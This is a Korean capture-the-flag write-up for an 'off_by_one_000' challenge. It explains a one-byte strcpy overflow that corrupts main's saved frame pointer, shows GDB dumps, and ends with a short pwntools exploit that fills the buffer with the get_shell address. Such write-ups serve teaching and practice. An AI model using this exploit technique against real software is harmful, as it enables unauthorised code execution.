문제

strcpy는 몇바이트까지 복사하라는 말 없이 널문자열을 만날때 까지 복사합니다.
cpy함수 내의 버퍼가 256바이트 길이이고 복사된 문자열은 256개의 char + \x00이므로 1byte 오버플로가 납니다. 오버플로가 나는 위치는 main의 SFP입니다.

GDB

EBP: 0xffffcf20 --> 0xffffcf28 --> 0x0 
ESP: 0xffffcf20 --> 0xffffcf28 --> 0x0 
EIP: 0x804864f (<cpy+3>:        sub    esp,0x100)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804864b <initialize+70>:   ret    
   0x804864c <cpy>:     push   ebp
   0x804864d <cpy+1>:   mov    ebp,esp
=> 0x804864f <cpy+3>:   sub    esp,0x100
   0x8048655 <cpy+9>:   push   0x804a060
   0x804865a <cpy+14>:  lea    eax,[ebp-0x100]
   0x8048660 <cpy+20>:  push   eax
   0x8048661 <cpy+21>:  call   0x8048470 <strcpy@plt>
[------------------------------------stack-------------------------------------]
0000| 0xffffcf20 --> 0xffffcf28 --> 0x0 
0004| 0xffffcf24 --> 0x804869e (<main+46>:      push   0x804a060)
0008| 0xffffcf28 --> 0x0 
0012| 0xffffcf2c --> 0xf7e00e91 (<__libc_start_main+241>:       add    esp,0x10)

strcpy의 실행 전 cpy의 스텍프레임 내에서 SFP0xffffcf28인 모습


EBP: 0xffffcf20 --> 0xffffcf00 --> 0x80485db (<get_shell>:      push   ebp)

strcpy실행 후 SFP0xffffcf00가 된 모습

여기서 main의 에필로그 상에서 leave가 실행될 때 esp0xffffcf00근처를 가리킨다.
따라서 ret또한 이 근처에 있을 가능성이 높다. 이에 따라서 페이로드를 p32(get_shell_addr)*64의 256바이트 문자열로 설정하는게 이론상 바람직하다.


유의점

Ubuntu 18.04기준

GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".

GDB버젼에서는 제대로 실습하지 못한다. GDB로 돌렸더니 cpy이후 printf를 처리하는 과정에서 cpy에서 우리가 덮어놓은 버퍼가 오염되는 문제가 발생한다.
하지만 pwntools로 직접 바이너리를 실행하면 이 문제가 발생하지 않기 때문에 문제를 푸는데는 지장이 없다.


Exploit code

from pwn import*
p = process("./off_by_one_000")
// 제출시에는 remote에 hostname과 포트번호를 넣어주면 된다.
get_shell = 0x80485db
payload = p32(get_shell)*64 
p.sendline(payload)
p.interactive()

오염된 SFP근처에 목표RET가 있으므로 페이로드를 전부 get_shell주소로 하면 정답 확률이 높다.